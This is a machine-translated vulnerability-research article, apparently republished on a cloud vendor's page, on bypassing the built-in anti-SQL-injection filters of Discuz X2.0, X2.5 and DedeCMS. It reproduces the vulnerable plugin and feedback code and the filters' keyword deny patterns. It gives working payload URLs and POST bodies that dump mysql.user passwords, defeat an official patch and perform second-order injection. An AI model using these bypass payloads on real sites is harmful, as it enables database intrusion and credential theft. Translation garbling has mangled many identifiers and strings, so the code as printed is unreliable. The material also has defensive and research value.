Common Anti-injection program bypass Methods

Source: Internet
Author: User

0x00 Preface

Currently, some injection prevention programs are built in mainstream CMS systems, such as Discuz and dedeCMS. This article mainly introduces the bypass method.

0x01 Discuz x2.0 anti-Injection

 

Anti-injection Principle

Here, we take the injection vulnerability of a recent Discuz plug-in as an example to describe the bypass method in detail.

The vulnerability exists in the getGoods function of row 29th in/source/plugin/v63shop/config. inc. php. The Code is as follows:

 


functiongetGoods($id){      $query= DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);        $goods= DB::fetch($query);        $goods['endtime2'] =date('Y-m-d',$goods['endtime']);        $goods['price2'] =$goods['price'];        if($goods['sort'] ==2){            $goods['endtime2']=date('Y-m-d H:i:s',$goods['endtime']);            $query= DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");            $last= DB::fetch($query);            if(is_array($last)){                $goods['price'] =$last['chujia'];                $goods['uid']  =$last['uid'];                $goods['username']  =$last['username'];                $goods['pm'] =$last;                if(time()+600>$goods['endtime']){                    $goods['endtime'] =$last[time]+600;                    $goods['endtime2']=date('Y-m-d H:i:s',$last[time]+600);                }            }        }        return$goods;}
 

The vulnerability trigger entry points are row 6th and row 8th in/source/plugin/v63shop/goods. inc. php.

The following is a request trigger vulnerability:

However, the program has a built-in _ do_query_safe function to prevent injection.

Here we will track the execution of the _ do_query_safe () function, which filters the following keywords ,:

Bytes

Because the union select clause appears in our url, it will be filtered out.

Bypass Method

Here, we use a feature of Mysql to bypass the _ do_query_safe function filtering and submit the following url:

Http: // localhost/discuzx2/plugin. php? Id = v63shop: goods & pac = info & gid = 1 and 1 = 2 union /*! 50000select */1, 2, 4, 5, 6, concat (user, 0x23, password), 8, 9, 10, 11, 12, 13 from mysql. user

Here we will track the specific process of bypassing. It removes the content in the/**/center and saves it in the $ clean variable. Its value is

Select * from pre_v63_goods where 'id' = 1 and 1 = 2 union/*/1, 2, 3, 4, 5, 6, concat (user, 0x23, password), 8, 9, 10, 11, 12, 13 from mysql. user

After further tracking, it will remove/**/and filter the $ clean variable,

When $ clean value, then

In this case, the $ clean variable does not contain a dangerous string. The _ do_query_safe function is bypassed to filter the variable and the injection is successful, as shown below: Success

0x02 Discuz X2.5 anti-Injection

 

 

Anti-injection Principle

The anti-injection Function Code of Discuz X2.5 is modified. The following code is available in/config/config_global.php:

Here $ _ config ['security'] ['querysafe '] ['afullnote'] is set to 0 by default. Pay attention to this.

Here we will track the cause of the failure: Failed

Observe the variable. The _ do_query_safe ($ SQL) function removes the content in/**/and saves it to $ clean.

In fact, the Program Execution here is no different from Discuz X2.0, and the value of $ clean is the same. But the key is as follows ,:

Because $ _ config ['security'] ['querysafe '] ['afullnote'] = '0' is mentioned earlier, it will not be replaced here/**/is null, in addition, it will judge whether "/*" will appear in $ clean at the end, which is: too many

Therefore, the injection fails.

Bypass Method

In Mysql, the @ character is used to define variables, and set @ a = 'abc' can be used to assign values to variables. Here, a single quotation mark is constructed to make the SQL statement correct. We can use @ 'to place it in the SQL statement to help us bypass anti-injection program checks.

The following method is used to bypass the _ do_query_safe function Filtering:

Http: // localhost/discuz/plugin. php? Id = v63shop: goods & pac = info & gid = @ '''union select @ ''', concat (user, 0x3a, password, from mysql. user

The following describes the execution process ,:

Else, here is an if judgment, which focuses on this sentence.

$ Clean = preg_replace ("/'(. + ?) '/S ",'', $ SQL); it will omit the string caused by single quotes in $ SQL, so we can use the idea of bypassing dede to prevent ids, use @ '''union select @'''

In this way, the union select statement is saved in the following filter, which is tracked here: distinct

In this way, the _ do_query_safe function detection is bypassed, and anti-injection is successfully bypassed.

However, Discuz officially released a repair patch, but it did not fundamentally solve the problem. The official repair code is as follows: Repair

A judgment is added to filter the @ in the string, but the root problem is not fixed. The key is that the above if judgment will replace the content (including single quotes) between single quotes with null, the Code is as follows:

if(strpos($sql,'/') === false &&strpos($sql,'#') === false &&strpos($sql,'-- ') === false) {    $clean= preg_replace("/'(.+?)'/s",'',$sql);}


Here, I just need to perform a slight transformation to make the @ character disappear, so as to bypass its filtering, using the following:

Http: // localhost/discuz/plugin. php? Id = v63shop: goods & pac = info & gid = ''' or @ ''' union select 1 from (select count (*), concat (select database (), floor (rand (0) * 2) a from information_schema.tables group by a) B where @'''

Here, I introduced ''' to hide the First @ character and replace the first @ ''' with @ ''', so that the second @ can be replaced @, here we track the code

You can see that $ clean is changed

Select * from pre_v63_goods where 'id' =''

Patch bypass ,:

The cost of doing so is that you can no longer use the union select statement. You can only get data by reporting an error.

0x03 DedeCMS anti-Injection

Anti-injection Principle

Here, I also take the dedeCMS feedback. php injection vulnerability recently analyzed as an example to analyze how to bypass its anti-injection system. But before that, you have to mention this vulnerability.

The vulnerability exists in line 244th of/plus/feedback. php. The Code is as follows:

! # Phpif ($ comtype = 'comments') {$ arctitle = addslashes ($ title); $ typeid = intval ($ typeid); $ ischeck = intval ($ ischeck ); $ feedbacktype = preg_replace ("# [^ 0-9a-z] # I", "", $ feedbacktype); if ($ msg! = '') {$ Inquery =" insert into 'dede _ feedback' ('aid ', 'typeid', 'username', 'artle TLE', 'IP ', 'ischeck', 'dtime', 'mid ', 'bad', 'good', 'ftype', 'face', 'msg') VALUES ('$ aid ', '$ typeid',' $ username', '$ Artle TLE', '$ ip',' $ ischeck', '$ dtime', '{$ cfg_ml-> M_ID }', '0', '0', '$ feedbacktype', '$ face',' $ msg '); "; $ rs = $ dsql-> ExecuteNoneQuery ($ inquery ); if (! $ Rs) {ShowMsg ('An error occurred while posting a comment! ','-1'); // echo $ dsql-> GetError (); exit () ;}}// reference the reply elseif ($ comtype = 'reply ') {$ row = $ dsql-> GetOne ("SELECT * FROM 'dede _ feedback' WHERE id = '$ fid'"); $ arctitle = $ row ['artle tle']; $ aid = $ row ['aid ']; $ msg = $ quotemsg. $ msg; $ msg = HtmlReplace ($ msg, 2); $ inquery = "insert into 'dede _ feedback' ('aid ', 'typeid', 'username ', 'artitle', 'IP', 'ischeck', 'dtime', 'mid, 'bad', 'good', 'ftype', 'face', 'msg ') VALUES ('$ aid', '$ typeid',' $ username', '$ Artle TLE', '$ ip',' $ ischeck', '$ dtime ', '{$ pai_ml-> M_ID}', '0', '0', '$ feedbacktype', '$ face', '$ msg ')"; $ dsql-> ExecuteNoneQuery ($ inquery );}

Here, the $ title variable is not initialized, so $ title can be used as a controllable variable, so we can further control $ arctitle. The tracking finds that $ arctitle is directly introduced into the SQL statement. However, after the INSERT statement is executed, the single quotation marks escaped by the addslashes will be restored to the member. Further trace the following code, in line 268th, as shown below:

$ Row = $ dsql-> GetOne ("SELECT * FROM 'dede _ feedback' WHERE id = '$ fid'"); $ arctitle = $ row ['artle tle'];

Here, the dede_feedback table is queried in the INSERT table, and the arctitle field is retrieved and put into the $ arctitle variable. The arctitle variable continues to be tracked to row 3, which suddenly becomes clear,

$ Inquery = "insert into 'dede _ feedback' ('aid ', 'typeid', 'username', 'artle TLE', 'IP', 'ischeck', 'dtime ', 'Mid ', 'bad', 'good', 'ftype', 'face', 'msg') VALUES ('$ id',' $ typeid ', '$ username',' $ Artle TLE ',' $ ip', '$ ischeck',' $ dtime', '{$ cfg_ml-> M_ID}', '0 ', '0', '$ feedbacktype',' $ face', '$ msg ')";

The $ arctitle variable is thrown into the SQL statement without any processing. Because we can control $ title, although $ arctitle is the data processed by the addslashes function, however, it is restored when it is inserted into the database. In combination, this causes a secondary injection vulnerability.

But how can we use it here? We can trace the code and find that there is no output information throughout the entire dede process, so we cannot get data by constructing a formula error, however, the Code further analyzes and finds that the msg field in the dede_feedback table will be output. Because the $ arctitle variable is controllable, we can construct an SQL statement to insert the code we want to execute into the msg field, so that we can output the executed content.

Bypass Method

As we all know, dedeCMS has a built-in CheckSql () function for anti-injection. It is a universal anti-injection ids program developed by 80sec. It is used to check the SQL every time it is executed. The Code is as follows:


FunctionCheckSql ($ db_string, $ querytype = 'select') {global $ cookie_encode; $ clean = ''; $ error =''; $ old_pos = 0; $ pos =-1; $ log_file = DEDEINC. '/.. /data/'.md5({}_cookie_encode}.'_safe.txt '; $ userIP = GetIP (); $ getUrl = GetCurUrl (); // if it is a common query statement, directly filter some special syntax if ($ querytype = 'select') {$ notallow1 = "[^ 0-9a-z @\. _-] {1,} (union | sleep | benchmark | load_file | outfile) [^ 0-9a-z @\. -] {1,} "; // $ notallow2 =" -- |/\ * "; if (pr Eg_match ("/". $ notallow1. "/I", $ db_string) {fputs (fopen ($ log_file, 'a + '), "$ userIP | $ getUrl | $ db_string | SelectBreak \ r \ n"); exit ("<font size = '5' color = 'red'> Safe Alert: request Error step 1! </Font> ") ;}}// complete SQL check while (TRUE) {$ pos = strpos ($ db_string, '\'', $ pos + 1 ); if ($ pos === FALSE) {break;} $ clean. = substr ($ db_string, $ old_pos, $ pos-$ old_pos); while (TRUE) {$ pos1 = strpos ($ db_string, '\', $ pos + 1 ); $ pos2 = strpos ($ db_string, '\\', $ pos + 1); if ($ pos1 = FALSE) {break ;} elseif ($ pos2 = FALSE | $ pos2> $ pos1) {$ pos = $ pos1; break;} $ pos = $ pos2 + 1;} $ clean. = '$ s $'; $ old_pos = $ pos + 1;} $ clean. = su Bstr ($ db_string, $ old_pos); $ clean = trim (strtolower (preg_replace (array ('~ \ S ++ ~ S '), array (''), $ clean); // earlier Mysql versions do not support union, and common programs do not use union, but some hackers use it, so check it if (strpos ($ clean, 'Union ')! = FALSE & preg_match ('~ (^ | [^ A-z]) union ($ | [^ [a-z]) ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "union detect";} // release programs may rarely include comments such, however, Hackers often use them elseif (strpos ($ clean, '/*')> 2 | strpos ($ clean ,'--')! = FALSE | strpos ($ clean ,'#')! = FALSE) {$ fail = TRUE; $ error = "comment detect";} // these functions will not be used, but hackers will use them to operate files, drop the database elseif (strpos ($ clean, 'Sleep ')! = FALSE & preg_match ('~ (^ | [^ A-z]) sleep ($ | [^ [a-z]) ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "slown down detect";} elseif (strpos ($ clean, 'benchmark ')! = FALSE & preg_match ('~ (^ | [^ A-z]) benchmark ($ | [^ [a-z]) ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "slown down detect";} elseif (strpos ($ clean, 'Load _ file ')! = FALSE & preg_match ('~ (^ | [^ A-z]) load_file ($ | [^ [a-z]) ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "file fun detect";} elseif (strpos ($ clean, 'into outfile ')! = FALSE & preg_match ('~ (^ | [^ A-z]) into \ s + outfile ($ | [^ [a-z]) ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "file fun detect";} // MYSQL of earlier versions does not support subqueries, which may be used less in our programs, however, hackers can use elseif (preg_match ('~ \ ([^)] *? Select ~ S', $ clean )! = 0) {$ fail = TRUE; $ error = "sub select detect";} if (! Empty ($ fail) {fputs (fopen ($ log_file, 'a + '), "$ userIP | $ getUrl | $ db_string | $ error \ r \ n "); exit ("<font size = '5' color = 'red'> Safe Alert: Request Error step 2! </Font> ") ;}else {return $ db_string ;}}
 

However, by tracking this code, we find that it has a feature that replaces the content between two single quotes with $ s $. For example, 'select' is replaced with $ s $, here, two @ ''' are used to contain sensitive words, so that no sensitive words appear in the $ clean variable, bypassing CheckSql () function detection.

Here, you can set the title to the following code. On the one hand, you can bypass the ids anti-injection code detection, on the other hand, add a # comment out the following code, but you need to perform some deformation, this is the char. Because all fields in dede_feedback are set to not null, and @ ''' is a variable. The default value is NULL. If you insert @ ''' directly, an error is returned, therefore, you need to convert it using the char (@ ''') method.

', Char (@ '''), 1, (SELECT user () #, (1,

Tracking code, tracing

The following SQL statement

Insert into 'dede _ feedback' ('aid ', 'typeid', 'username', 'artitle', 'IP', 'ischeck', 'dtime', 'mid ', 'bad', 'good', 'ftype', 'face', 'msg ') VALUES ('1', '1', 'tourists ','\', char (@ '\ ''), 127, 1, 1, (SELECT user () #, (1,', '123. 0.0.1 ', '1', '000000', '0', '0', '0', 'feedback', '1', 'genxor ');

Replaced

Insert into 'dede _ feedback' ('aid ', 'typeid', 'username', 'artitle', 'IP', 'ischeck', 'dtime', 'mid ', 'bad', 'good', 'ftype', 'face', 'msg ') values ($ s $, $ s $, $ s $, $ s $ );

The string does not contain any sensitive characters. The CheckSql () function is successfully bypassed.

POST the following request to feedback. php:

Action = send & comtype = comments & aid = 1 & isconfirm = yes & feedbacktype = feedback & face = 1 & msg = genxor & notuser = 1 & typeid = 1 & title = ', char (@ '''), 1, (SELECT user () #, (1,

Tracking code. The actual execution of SQL statement tracking variables are as follows: Explain

Content inserted into the database,: Deleted

POST the following content to feedback. php,

Action = send & comtype = reply & aid = 1 & isconfirm = yes & feedbacktype = feedback & fid = 50

Follow up the SQL statement executed here, explain

Therefore, select user () is executed and can be output as the msg field.

0x04 Summary

Before writing this article, I analyzed the source code of many common cms systems, including discuz, dedecms, phpwind, and phpcms, general Anti-injection is only used in discuz and dedecms systems, but the user groups covered by them will be quite large. These bypassing methods are very valuable when detecting program injection vulnerabilities.


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.